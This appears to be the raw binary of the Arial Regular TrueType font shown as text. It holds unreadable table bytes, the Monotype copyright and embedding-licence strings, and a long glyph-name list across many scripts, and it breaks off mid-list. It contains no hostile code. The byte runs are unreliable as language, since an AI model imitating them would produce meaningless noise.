/^]?/?/]?329/]]+}]]]]݇+}]]2+}ć+}]]10&#"##33632m[KH׼1ˠvG1&I& @<<<?/3/2/10#53#53Yr@  %%//9/10!5!!5!dd^ZG'?/9910#53':[8nZA'?/9910#53':[8hhv @   /33/9910!#!53hߍM.T &shv @ /33/9910#5!3!h.!!qs&  $@<< //3/2/9910#53#534t7  $@  <<//2/3/9910#53#537t4  %@  <<?/2/3/9910#53#537t4 i2@<</^]/]9910#'#3nqi\ N$7<  h$$7h$9h$:$D:A:E-:H:I:K:L`:M:N:Q`:W:Z:l:m:n:w-;:;A;H;K;L;M;N;O;Q;T;W;Y;e;m<:<><@<A<E<H<K<Lw<M<N<O<Q<T<Y<^<f<l<m<o<q<y===w=w==:w=>w=A=E=F=H=K=Y=Z=\=^w=_w=b=e=f=g=hw=j=mw=u=v=x=yw>M>N>Q>aD>h>m-?A?k@A@H@K@L@M-@T-@Z@_@h@mAEAHAKALAMANAQAYDADHDKDMDNENE[EmFNFQFZF_FhFkFmFqFwH:H>H@HEHMHOHQHYH^HeHoJ}J}JJJJ:wJ>wJ@JAJEJFJHJKJLJMJNJOJYJZJ^`J_JhJwJyK:K>KAKEKFKHKLKMKOKQKTKWKZK`-KqLLLLLL:L>L@LALELHLNLYLZL\L_LbLdLeLfLh`LiLjLkLmLoLsLuLvLxLyMMMMMMMM:wM>MAMEMHMNMWMYM[M\M]M^`M_wM`MaMbMcMdMewMfMgMhwMiMjMkwMoMpMrMsMxMywN:N>NENLNMNQNYNeOAOHOKONOWOhOmPHPZ-SZSm-TwTYV`V:V>V@VAVEVFVHVKVL3VOVQ`VWVYW>W@WAWEWOWYW^W`WeWfWyX:X>X@XEXHXKXLXOXQX^XeXfZaZlZmZq[Z[^[_[`[a[e[f[k[m[n[o[q[t[w[y\Z\[\^\_\`\a\e\f\h\k\l\m\n\q\t\y]]]Z]^]_]a]e]h]k]y^t^w_[_^_`_a_e_l_m_o_q`[`m`q`t-a[a^a_aaaeahakamanaqatdZ-d[-d_dadedhdkdldmdweheqf[fafmh^h`hahehlhmhohqj^jajejljmjojqjyk`khkqkwlllZl^l_l`Dlelhlklmm3m3mmZm[m^m_m`memfmhmjmkmnmwmyn[n^nenlnmnqnyoZo[o_oaohokolonoqp_paphpks_shsmvl`vqww^w_wawewhwlwowyx^x`xexfxlxoxq33``.13 "&+:j jt^ j0  25/ 4L]S E U JV fr j  j t ^  j    0  2  J   J  J J J J$* -  J J  J  J 2008 The Monotype Corporation. All Rights Reserved.ArialRegularMonotype:Arial Regular:Version 5.06 (Microsoft)ArialMTArial is a trademark of The Monotype Corporation in the United States and/or other countries.Monotype Type Drawing Office - Robin Nicholas, Patricia Saunders 1982You may use this font to display and print content as permitted by the license terms for the product in which this font is included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. 2008 The Monotype Corporation. All Rights Reserved.ArialRegularMonotype:Arial Regular:Version 5.06 (Microsoft)ArialMTArial is a trademark of The Monotype Corporation in the United States and/or other countries.Monotype Type Drawing Office - Robin Nicholas, Patricia Saunders 1982You may use this font to display and print content as permitted by the license terms for the product in which this font is included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content.Normaloby ejnnormalStandardNormaaliNormlNormaleStandaardNormalny1KG=K9NormlneNavadnothngArrunta' W  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~                           ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~                            ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~                            ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~                            ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~                            ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [mu1pi1Ohmuni2206elipsisEuro Idotaccentdcroat overscoremiddotAbreveabreveAogonekaogonekDcarondcaronDcroatEogonekeogonekEcaronecaronLacutelacuteLcaronlcaronLdotldotNacutenacuteNcaronncaron Ohungarumlaut ohungarumlautRacuteracuteRcaronrcaronSacutesacute Tcommaaccent tcommaaccentTcarontcaronUringuring Uhungarumlaut uhungarumlautZacutezacute Zdotaccent zdotaccentGammaThetaPhialphadeltaepsilonsigmatauphi underscoredbl exclamdbl nsuperiorpeseta arrowleftarrowup arrowright arrowdown arrowboth arrowupdn arrowupdnbse orthogonal intersection equivalencehouse revlogicalnot integraltp integralbtuni2500uni2502uni250Cuni2510uni2514uni2518uni251Cuni2524uni252Cuni2534uni253Cuni2550uni2551uni2552uni2553uni2554uni2555uni2556uni2557uni2558uni2559uni255Auni255Buni255Cuni255Duni255Euni255Funi2560uni2561uni2562uni2563uni2564uni2565uni2566uni2567uni2568uni2569uni256Auni256Buni256Cupblockdnblockblocklfblockrtblockltshadeshadedkshade filledbox filledrecttriaguptriagrttriagdntriaglfcircle invbullet invcircle smileface invsmilefacesunfemalemalespadeclubheartdiamond musicalnotemusicalnotedblIJij napostropheminuteseconduni2105uni2113uni25A1uni25AAuni25ABuni25CF openbulletAmacronamacron Ccircumflex ccircumflex Cdotaccent cdotaccentEmacronemacronEbreveebreve Edotaccent edotaccent Gcircumflex gcircumflex Gdotaccent gdotaccent Gcommaaccent gcommaaccent Hcircumflex hcircumflexHbarhbarItildeitildeImacronimacronIbreveibreveIogonekiogonek Jcircumflex jcircumflex Kcommaaccent kcommaaccent kgreenlandic Lcommaaccent lcommaaccent Ncommaaccent ncommaaccentEngengOmacronomacronObreveobreve Rcommaaccent rcommaaccent Scircumflex scircumflexTbartbarUtildeutildeUmacronumacronUbreveubreveUogonekuogonek Wcircumflex wcircumflex Ycircumflex ycircumflexlongs Aringacute aringacuteAEacuteaeacute Oslashacute oslashacute anoteleiaWgravewgraveWacutewacute Wdieresis wdieresisYgraveygrave quotereversed radicalexlira estimated oneeighth threeeighths fiveeighths seveneighths commaaccentundercommaaccenttonos dieresistonos Alphatonos EpsilontonosEtatonos Iotatonos Omicrontonos Upsilontonos OmegatonosiotadieresistonosAlphaBetaEpsilonZetaEtaIotaKappaLambdaMuNuXiOmicronPiRhoSigmaTauUpsilonChiPsi IotadieresisUpsilondieresis alphatonos epsilontonosetatonos iotatonosupsilondieresistonosbetagammazetaetathetaiotakappalambdanuxiomicronrhosigma1upsilonchipsiomega iotadieresisupsilondieresis omicrontonos upsilontonos omegatonosuni0401uni0402uni0403uni0404uni0405uni0406uni0407uni0408uni0409uni040Auni040Buni040Cuni040Euni040Funi0410uni0411uni0412uni0413uni0414uni0415uni0416uni0417uni0418uni0419uni041Auni041Buni041Cuni041Duni041Euni041Funi0420uni0421uni0422uni0423uni0424uni0425uni0426uni0427uni0428uni0429uni042Auni042Buni042Cuni042Duni042Euni042Funi0430uni0431uni0432uni0433uni0434uni0435uni0436uni0437uni0438uni0439uni043Auni043Buni043Cuni043Duni043Euni043Funi0440uni0441uni0442uni0443uni0444uni0445uni0446uni0447uni0448uni0449uni044Auni044Buni044Cuni044Duni044Euni044Funi0451uni0452uni0453uni0454uni0455uni0456uni0457uni0458uni0459uni045Auni045Buni045Cuni045Euni045Funi0490uni0491uni2015uni2116uni05B0uni05B1uni05B2uni05B3uni05B4uni05B5uni05B6uni05B7uni05B8uni05B9uni05BBuni05BCuni05BDuni05BEuni05BFuni05C0uni05C1uni05C2uni05C3uni05D0uni05D1uni05D2uni05D3uni05D4uni05D5uni05D6uni05D7uni05D8uni05D9uni05DAuni05DBuni05DCuni05DDuni05DEuni05DFuni05E0uni05E1uni05E2uni05E3uni05E4uni05E5uni05E6uni05E7uni05E8uni05E9uni05EAuni05F0uni05F1uni05F2uni05F3uni05F4uni20AA uni05D505C2 uni05DA05B0 uni05DA05B8 uni05DC05B9uni05DC05BC05B9 uni05E2.alt uni05E905C1 uni05E905C2uni05E905BC05C1uni05E905BC05C2 uni05D005B7 uni05D005B8 uni05D005BC uni05D105BC uni05D205BC uni05D305BC uni05D405BC uni05D505BC uni05D605BC uni05D805BC uni05D905BC uni05DA05BC uni05DB05BC uni05DC05BC uni05DE05BC uni05E005BC uni05E105BC uni05E305BC uni05E405BC uni05E605BC uni05E705BC uni05E805BC uni05E905BC uni05EA05BC uni05D505B9 uni05D105BF uni05DB05BF uni05E405BF uni05D005DCuni200Cuni200Duni200Euni200Funi060Cuni061Buni061Funi0621uni0640uni064Buni064Cuni064Duni064Euni064Funi0650uni0651uni0652uni0660uni0661uni0662uni0663uni0664uni0665uni0666uni0667uni0668uni0669uni066Auni066Buni066Dglyph774glyph775uni06D5glyph777uni06F4uni06F5uni06F6glyph781glyph782glyph783glyph784glyph785 uni0651064Bglyph787glyph788glyph789glyph790glyph791glyph792glyph793glyph794 uni0640.altglyph796glyph797glyph798uni067E uni067E.fina uni067E.init uni067E.mediglyph803glyph804glyph805glyph806uni0686 uni0686.fina uni0686.init uni0686.mediuni0698 uni0698.finauni06A9 uni06A9.fina uni06A9.init uni06A9.mediuni06AF uni06AF.fina uni06AF.init uni06AF.mediuni06CC uni06CC.fina uni06D5.finaglyph824glyph825glyph826glyph827glyph828glyph829glyph830glyph831glyph832glyph833glyph834glyph835glyph836glyph837glyph838 uni0651064C uni0651064D uni0651064E uni0651064F uni06510650glyph844glyph845uni202Auni202Buni202Duni202Euni202Cuni206Euni206Funi206Auni206Buni206Cuni206DuniF00AuniF00BuniF00CuniF00DuniF00EuniFFFCglyph864glyph865glyph866glyph867glyph868glyph869glyph870glyph871glyph872glyph873glyph874glyph875glyph876glyph877glyph878glyph879glyph880glyph881glyph882glyph883glyph884glyph885glyph886glyph887glyph888glyph889glyph890glyph891uniFD3EuniFD3Fglyph894lillahuniFE80uni0622 uni0622.finauni0623 uni0623.finauni0624 uni0624.finauni0625 uni0625.finauni0626 uni0626.fina uni0626.init uni0626.mediuni0627 uni0627.finauni0628 uni0628.fina uni0628.init uni0628.mediuni0629 uni0629.finauni062A uni062A.fina uni062A.init uni062A.mediuni062B uni062B.fina uni062B.init uni062B.mediuni062C uni062C.fina uni062C.init uni062C.mediuni062D uni062D.fina uni062D.init uni062D.mediuni062E uni062E.fina uni062E.init uni062E.mediuni062F uni062F.finauni0630 uni0630.finauni0631 uni0631.finauni0632 uni0632.finauni0633 uni0633.fina uni0633.init uni0633.mediuni0634 uni0634.fina uni0634.init uni0634.mediuni0635 uni0635.fina uni0635.init uni0635.mediuni0636 uni0636.fina uni0636.init uni0636.mediuni0637 uni0637.fina uni0637.init uni0637.mediuni0638 uni0638.fina uni0638.init uni0638.mediuni0639 uni0639.fina uni0639.init uni0639.mediuni063A uni063A.fina uni063A.init uni063A.mediuni0641 uni0641.fina uni0641.init uni0641.mediuni0642 uni0642.fina uni0642.init uni0642.mediuni0643 uni0643.fina uni0643.init uni0643.mediuni0644 uni0644.fina uni0644.init uni0644.mediuni0645 uni0645.fina uni0645.init uni0645.mediuni0646 uni0646.fina uni0646.init uni0646.mediuni0647 uni0647.finauni06BE uni06BE.finauni0648 uni0648.finauni0649 uni0649.finauni064A uni064A.fina uni064A.init uni064A.mediuni06440622.isoluni06440622.finauni06440623.isoluni06440623.finauni06440625.isoluni06440625.finauni06440627.isoluni06440627.fina glyph1021 glyph1022 glyph1023 glyph1024 glyph1025 glyph1026 glyph1027 glyph1028 glyph1029 glyph1030 glyph1031 glyph1032 glyph1033 glyph1034 glyph1035 glyph1036 glyph1037 glyph1038 glyph1039 glyph1040 glyph1041 glyph1042 glyph1043 glyph1044 glyph1045 glyph1046 glyph1047 glyph1048 glyph1049 glyph1050 glyph1051 glyph1052 glyph1053 glyph1054 glyph1055 glyph1056 glyph1057 glyph1058 glyph1059 glyph1060 glyph1061 glyph1062 glyph1063 glyph1064 glyph1065 glyph1066 glyph1067 glyph1068 glyph1069 glyph1070 glyph1071 glyph1072 glyph1073 glyph1074 glyph1075 glyph1076 glyph1077 glyph1078 glyph1079 glyph1080 glyph1081 glyph1082 glyph1083 glyph1084 glyph1085 glyph1086 glyph1087 glyph1088 glyph1089 glyph1090 glyph1091 glyph1092 glyph1093 glyph1094 glyph1095 glyph1096 glyph1097 glyph1098 glyph1099 glyph1100 glyph1101 glyph1102 glyph1103 glyph1104 glyph1105 glyph1106 glyph1107 glyph1108 glyph1109 glyph1110 glyph1111 glyph1112 glyph1113 glyph1114 glyph1115 glyph1116 glyph1117 glyph1118 glyph1119 glyph1120 glyph1121 glyph1122 glyph1123 glyph1124 glyph1125 glyph1126 glyph1127 glyph1128 glyph1129OhornohornUhornuhorn glyph1134 glyph1135 glyph1136uniF006uniF007uniF009 hookabovecombuniF010uniF013uniF011uniF01CuniF015 tildecomb glyph1147 glyph1148uniF02Cdongonethird twothirdsuniF008 glyph1154 glyph1155uniF00FuniF012uniF014uniF016uniF017uniF018uniF019uniF01AuniF01BuniF01EuniF01FuniF020uniF021uniF022 gravecomb acutecombuniF01D dotbelowcombuniF023uniF029uniF02AuniF02BuniF024uniF025uniF026uniF027uniF028uniF02DuniF02EuniF02FuniF030uniF031 Adotbelow adotbelow Ahookabove ahookaboveAcircumflexacuteacircumflexacuteAcircumflexgraveacircumflexgraveAcircumflexhookaboveacircumflexhookaboveAcircumflextildeacircumflextildeAcircumflexdotbelowacircumflexdotbelow Abreveacute abreveacute Abrevegrave abrevegraveAbrevehookaboveabrevehookabove Abrevetilde abrevetildeAbrevedotbelowabrevedotbelow Edotbelow edotbelow Ehookabove ehookaboveEtildeetildeEcircumflexacuteecircumflexacuteEcircumflexgraveecircumflexgraveEcircumflexhookaboveecircumflexhookaboveEcircumflextildeecircumflextildeEcircumflexdotbelowecircumflexdotbelow Ihookabove ihookabove Idotbelow idotbelow Odotbelow odotbelow Ohookabove ohookaboveOcircumflexacuteocircumflexacuteOcircumflexgraveocircumflexgraveOcircumflexhookaboveocircumflexhookaboveOcircumflextildeocircumflextildeOcircumflexdotbelowocircumflexdotbelow Ohornacute ohornacute Ohorngrave ohorngraveOhornhookaboveohornhookabove Ohorntilde ohorntilde Ohorndotbelow ohorndotbelow Udotbelow udotbelow Uhookabove uhookabove Uhornacute uhornacute Uhorngrave uhorngraveUhornhookaboveuhornhookabove Uhorntilde uhorntilde Uhorndotbelow uhorndotbelow Ydotbelow ydotbelow Yhookabove yhookaboveYtildeytildeuni01CDuni01CEuni01CFuni01D0uni01D1uni01D2uni01D3uni01D4uni01D5uni01D6uni01D7uni01D8uni01D9uni01DAuni01DBuni01DCuni03080304.cap glyph1293uni0308030C.capuni03080300.capuni0492uni0493uni0496uni0497uni049Auni049Buni049Cuni049Duni04A2uni04A3uni04AEuni04AFuni04B0uni04B1uni04B2uni04B3uni04B8uni04B9uni04BAuni04BBuni018Funi0259uni04E8uni04E9uni066E uni066E.init uni066F.init uni066F.mediuni066Fdot.one dot.twohoriz dot.threeup dot.threedown dot.twovertdot.fouruni0615wasla wavyhamzasmallvcircumflex.arabuni0653uni0654uni0655uni0670uni0671 uni0671.finauni0672 uni0672.finauni0673 uni0673.finauni0675 uni0675.finauni0676 uni0676.finauni0677 uni0677.finauni0678 uni0678.finauni0679 uni0679.fina uni0679.init uni0679.mediuni067A uni067A.fina uni067A.init uni067A.mediuni067B uni067B.fina uni067B.init uni067B.mediuni067C uni067C.fina uni067C.init uni067C.mediuni067D uni067D.fina uni067D.init uni067D.mediuni067F uni067F.fina uni067F.init uni067F.mediuni0680 uni0680.fina uni0680.init uni0680.mediuni0681 uni0681.fina uni0681.init uni0681.mediuni0682 uni0682.fina uni0682.init uni0682.mediuni0683 uni0683.fina uni0683.init uni0683.mediuni0684 uni0684.fina uni0684.init uni0684.mediuni0685 uni0685.fina uni0685.init uni0685.mediuni0687 uni0687.fina uni0687.init uni0687.mediuni0688 uni0688.finauni0689 uni0689.finauni068A uni068A.finauni068B uni068B.finauni068C uni068C.finauni068D uni068D.finauni068E uni068E.finauni068F uni068F.finauni0690 uni0690.finauni0691 uni0691.finauni0692 uni0692.finauni0693 uni0693.finauni0694 uni0694.finauni0695 uni0695.finauni0696 uni0696.finauni0697 uni0697.finauni0699 uni0699.finauni069A uni069A.fina uni069A.init uni069A.mediuni069B uni069B.fina uni069B.init uni069B.mediuni069C uni069C.fina uni069C.init uni069C.mediuni069D uni069D.fina uni069D.init uni069D.mediuni069E uni069E.fina uni069E.init uni069E.mediuni069F uni069F.finauni06A0 uni06A0.fina uni06A0.init uni06A0.mediuni06A1uni06A2 uni06A2.fina uni06A2.init uni06A2.mediuni06A3 uni06A3.fina uni06A3.init uni06A3.mediuni06A4 uni06A4.fina uni06A4.init uni06A4.mediuni06A5 uni06A5.fina uni06A5.init uni06A5.mediuni06A6 uni06A6.fina uni06A6.init uni06A6.mediuni06A7 uni06A7.finauni06A8 uni06A8.finauni06AA uni06AA.fina uni06AA.init uni06AA.mediuni06AB uni06AB.fina uni06AB.init uni06AB.mediuni06AC uni06AC.fina uni06AC.init uni06AC.mediuni06AD uni06AD.fina uni06AD.init uni06AD.mediuni06AE uni06AE.fina uni06AE.init uni06AE.mediuni06B0 uni06B0.fina uni06B0.init uni06B0.mediuni06B1 uni06B1.fina uni06B1.init uni06B1.mediuni06B2 uni06B2.fina uni06B2.init uni06B2.mediuni06B3 uni06B3.fina uni06B3.init uni06B3.mediuni06B4 uni06B4.fina uni06B4.init uni06B4.mediuni06B5 uni06B5.fina uni06B5.init uni06B5.mediuni06B6 uni06B6.fina uni06B6.init uni06B6.mediuni06B7 uni06B7.fina uni06B7.init uni06B7.mediuni06B8 uni06B8.fina uni06B8.init uni06B8.mediuni06B9 uni06B9.fina uni06B9.init uni06B9.mediuni06BA uni06BA.finauni06BB uni06BB.finauni06BC uni06BC.fina uni06BC.init uni06BC.mediuni06BD uni06BD.finauni06BF uni06BF.fina uni06BF.init uni06BF.mediuni06C0 uni06C0.fina uni06C1.fina uni06C2.fina uni06C3.finauni06C4 uni06C4.finauni06C5 uni06C5.finauni06C6 uni06C6.finauni06C7 uni06C7.finauni06C8 uni06C8.finauni06C9 uni06C9.finauni06CA uni06CA.finauni06CB uni06CB.finauni06CD uni06CD.finauni06CE uni06CE.fina uni06CE.init uni06CE.mediuni06CF uni06CF.finauni06D0 uni06D0.finauniFBE6uniFBE7uni06D1 uni06D1.finauni06D2 uni06D2.finauni06D3 uni06D3.finauni06D4uni06D6uni06D7uni06D8uni06D9uni06DAuni06DBuni06DCuni06DDuni06DEuni06DFuni06E0uni06E1uni06E2uni06E3uni06E4uni06E5uni06E6uni06E7uni06E8uni06E9uni06EAuni06EBuni06EDuni06FA uni06FA.fina uni06FA.init uni06FA.mediuni06FB uni06FB.fina uni06FB.init uni06FB.mediuni06FC uni06FC.fina uni06FC.init uni06FC.mediuni06FDuni06FEuniFBA6 uni06C1.init uni06C1.medi glyph1645 glyph1646 glyph1647 glyph1648 glyph1649uni06AD.moroccouni06AD.finamoroccouniFB1DuniFB1E patah.wideuniFB1Funi06440672.isoluni06440672.finauni06440673.isoluni06440673.finauni06440675.isoluni06440675.finauni06B50627.isoluni06B50627.finauni06B60627.isoluni06B60627.finauni06B70627.isoluni06B70627.finauni06B80627.isoluni06B80627.fina uni06F4.urdu uni06F7.urduuni06440671.isoluni06440671.finauni0180uni0181uni0182uni0183uni0184uni0185uni0186uni0187uni0188uni0189uni018Auni018Buni018Cuni018Duni018Euni0190uni0191uni0193uni0194uni0195uni0196uni0197uni0198uni0199uni019Auni019Buni019Cuni019Duni019Euni019Funi01A2uni01A3uni01A4uni01A5uni01A6uni01A7uni01A8uni01A9uni01AAuni01ABuni01ACuni01ADuni01AEuni01B1uni01B2uni01B3uni01B4uni01B5uni01B6uni01B7uni01B8uni01B9uni01BAuni01BBuni01BCuni01BDuni01BEuni01BFuni01C0uni01C1uni01C2uni01C3uni01C4uni01C5uni01C6uni01C7uni01C8uni01C9uni01CAuni01CBuni01CCuni01DDuni01DEuni01DFuni03070304.capuni01E0uni01E1uni01E2uni01E3uni01E4uni01E5uni01E6uni01E7uni01E8uni01E9uni01EAuni01EBuni01ECuni01EDuni01EEuni01EFuni01F0uni01F1uni01F2uni01F3uni01F4uni01F5uni01F6uni01F7uni01F8uni01F9uni0200uni0201uni0202uni0203uni0204uni0205uni0206uni0207uni0208uni0209uni020Auni020Buni020Cuni020Duni020Euni020Funi0210uni0211uni0212uni0213uni0214uni0215uni0216uni0217 Scommaaccent scommaaccentuni021Auni021Buni021Cuni021Duni021Euni021Funi0220uni0222uni0223uni0224uni0225uni0226uni0227uni0228uni0229uni022Auni022Buni03030304.capuni022Cuni022Duni022Euni022Funi0230uni0231uni0232uni0233uni0250uni0251uni0252uni0253uni0254uni0255uni0256uni0257uni0258uni025Auni025Buni025Cuni025Duni025Euni025Funi0260uni0261uni0262uni0263uni0264uni0265uni0266uni0267uni0268uni0269uni026Auni026Buni026Cuni026Duni026Euni026Funi0270uni0271uni0272uni0273uni0274uni0275uni0276uni0277uni0278uni0279uni027Auni027Buni027Cuni027Duni027Euni027Funi0280uni0281uni0282uni0283uni0284uni0285uni0286uni0287uni0288uni0289uni028Auni028Buni028Cuni028Duni028Euni028Funi0290uni0291uni0292uni0293uni0294uni0295uni0296uni0297uni0298uni0299uni029Auni029Buni029Cuni029Duni029Euni029Funi02A0uni02A1uni02A2uni02A3uni02A4uni02A5uni02A6uni02A7uni02A8uni02A9uni02AAuni02ABuni02ACuni02ADuni02B0uni02B1uni02B2uni02B3uni02B4uni02B5uni02B6uni02B7uni02B8uni02B9uni02BAuni02BBuni02BCuni02BDuni02BEuni02BFuni02C0uni02C1uni02C2uni02C3uni02C4uni02C5uni02C8uni02CAuni02CBuni02CCuni02CDuni02CEuni02CFuni02D0uni02D1uni02D2uni02D3uni02D4uni02D5uni02D6uni02D7uni02DEuni02DFuni02E0uni02E1uni02E2uni02E3uni02E4uni02E5uni02E6uni02E7uni02E8uni02E9uni02EAuni02EBuni02ECuni02EDuni02EEuni02E502E502E6uni02E502E502E7uni02E502E502E8uni02E502E502E9uni02E502E602E5uni02E502E602E6uni02E502E602E7uni02E502E602E8uni02E502E602E9 uni02E502E6uni02E502E702E5uni02E502E702E6uni02E502E702E7uni02E502E702E8uni02E502E702E9 uni02E502E7uni02E502E802E5uni02E502E802E6uni02E502E802E7uni02E502E802E8uni02E502E802E9 uni02E502E8uni02E502E902E5uni02E502E902E6uni02E502E902E7uni02E502E902E8uni02E502E902E9 uni02E502E9uni02E602E502E5uni02E602E502E6uni02E602E502E7uni02E602E502E8uni02E602E502E9 uni02E602E5uni02E602E602E5uni02E602E602E7uni02E602E602E8uni02E602E602E9uni02E602E702E5uni02E602E702E6uni02E602E702E7uni02E602E702E8uni02E602E702E9 uni02E602E7uni02E602E802E5uni02E602E802E6uni02E602E802E7uni02E602E802E8uni02E602E802E9 uni02E602E8uni02E602E902E5uni02E602E902E6uni02E602E902E7uni02E602E902E8uni02E602E902E9 uni02E602E9uni02E702E502E5uni02E702E502E6uni02E702E502E7uni02E702E502E8uni02E702E502E9 uni02E702E5uni02E702E602E5uni02E702E602E6uni02E702E602E7uni02E702E602E8uni02E702E602E9 uni02E702E6uni02E702E702E5uni02E702E702E6uni02E702E702E8uni02E702E702E9uni02E702E802E5uni02E702E802E6uni02E702E802E7uni02E702E802E8uni02E702E802E9 uni02E702E8uni02E702E902E5uni02E702E902E6uni02E702E902E7uni02E702E902E8uni02E702E902E9 uni02E702E9uni02E802E502E5uni02E802E502E6uni02E802E502E7uni02E802E502E8uni02E802E502E9 uni02E802E5uni02E802E602E5uni02E802E602E6uni02E802E602E7uni02E802E602E8uni02E802E602E9 uni02E802E6uni02E802E702E5uni02E802E702E6uni02E802E702E7uni02E802E702E8uni02E802E702E9 uni02E802E7uni02E802E802E5uni02E802E802E6uni02E802E802E7uni02E802E802E9uni02E802E902E5uni02E802E902E6uni02E802E902E7uni02E802E902E8uni02E802E902E9 uni02E802E9uni02E902E502E5uni02E902E502E6uni02E902E502E7uni02E902E502E8uni02E902E502E9 uni02E902E5uni02E902E602E5uni02E902E602E6uni02E902E602E7uni02E902E602E8uni02E902E602E9 uni02E902E6uni02E902E702E5uni02E902E702E6uni02E902E702E7uni02E902E702E8uni02E902E702E9 uni02E902E7uni02E902E802E5uni02E902E802E6uni02E902E802E7uni02E902E802E8uni02E902E802E9 uni02E902E8uni02E902E902E5uni02E902E902E6uni02E902E902E7uni02E902E902E8uni0302uni0304uni0305uni0306uni0307uni0308uni030Auni030Buni030Cuni030Duni030Euni030Funi0310uni0311uni0312uni0313uni0314uni0315uni0316uni0317uni0318uni0319uni031Auni031Buni031Cuni031Duni031Euni031Funi0320uni0321uni0322uni0324uni0325uni0326uni0327uni0328uni0329uni032Auni032Buni032Cuni032Duni032Euni032Funi0330uni0331uni0332uni0333uni0334uni0335uni0336uni0337uni0338uni0339uni033Auni033Buni033Cuni033Duni033Euni033Funi0340uni0341uni0342uni0343uni0344uni0345uni0346uni0347uni0348uni0349uni034Auni034Buni034Cuni034Duni034Euni034Funi0360uni0361uni0362uni0363uni0364uni0365uni0366uni0367uni0368uni0369uni036Auni036Buni036Cuni036Duni036Euni036Funi0374uni0375uni037Auni03D0uni03D1uni03D2uni03D3uni03D4uni03D5uni03D6uni03D7uni03D8uni03D9uni03DAuni03DBuni03DCuni03DDuni03DEuni03DFuni03E0uni03E1uni03E2uni03E3uni03E4uni03E5uni03E6uni03E7uni03E8uni03E9uni03EAuni03EBuni03ECuni03EDuni03EEuni03EFuni03F0uni03F1uni03F2uni03F3uni03F4uni03F5uni03F6uni0400uni040Duni0450uni045Duni0460uni0461uni0462uni0463uni0464uni0465uni0466uni0467uni0468uni0469uni046Auni046Buni046Cuni046Duni046Euni046Funi0470uni0471uni0472uni0473uni0474uni0475uni0476uni0477uni0478uni0479uni047Auni047Buni047Cuni047Dcyrillic_otmarkuni047Euni047Funi0480uni0481uni0482uni0483uni0484uni0485uni0486uni0488uni0489uni048Auni048Buni048Cuni048Duni048Euni048Funi0494uni0495uni0498uni0499uni049Euni049Funi04A0uni04A1uni04A4uni04A5uni04A6uni04A7uni04A8uni04A9uni04AAuni04ABuni04ACuni04ADuni04B4uni04B5uni04B6uni04B7uni04BCuni04BDuni04BEuni04BFuni04C0uni04C1uni04C2uni04C3uni04C4uni04C5uni04C6uni04C7uni04C8uni04C9uni04CAuni04CBuni04CCuni04CDuni04CE glyph2340uni04D0uni04D1uni04D2uni04D3uni04D4uni04D5uni04D6uni04D7uni04DAuni04DBuni04DCuni04DDuni04DEuni04DFuni04E0uni04E1uni04E2uni04E3uni04E4uni04E5uni04E6uni04E7uni04EAuni04EBuni04ECuni04EDuni04EEuni04EFuni04F0uni04F1uni04F2uni04F3uni04F4uni04F5uni04F8uni04F9uni0500uni0501uni0502uni0503uni0504uni0505uni0506uni0507uni0508uni0509uni050Auni050Buni050Cuni050Duni050Euni050Funi0591uni0592uni0593uni0594uni0595uni0596uni0597uni0598uni0599uni059Auni059Buni059Cuni059Duni059Euni059Funi05A0uni05A1uni05A3uni05A4uni05A5uni05A6uni05A7uni05A8uni05A9uni05AAuni05ABuni05ACuni05ADuni05AEuni05AFuni05C4uni03040300.capuni03040301.capuni03030301.capuni03030308.capuni03010307.capuni030C0307.capuni03040308.capuni1E00uni1E01uni1E02uni1E03uni1E04uni1E05uni1E06uni1E07uni1E08uni1E09uni1E0Auni1E0Buni1E0Cuni1E0Duni1E0Euni1E0Funi1E10uni1E11uni1E12uni1E13uni1E14uni1E15uni1E16uni1E17uni1E18uni1E19uni1E1Auni1E1Buni1E1Cuni1E1Duni1E1Euni1E1Funi1E20uni1E21uni1E22uni1E23uni1E24uni1E25uni1E26uni1E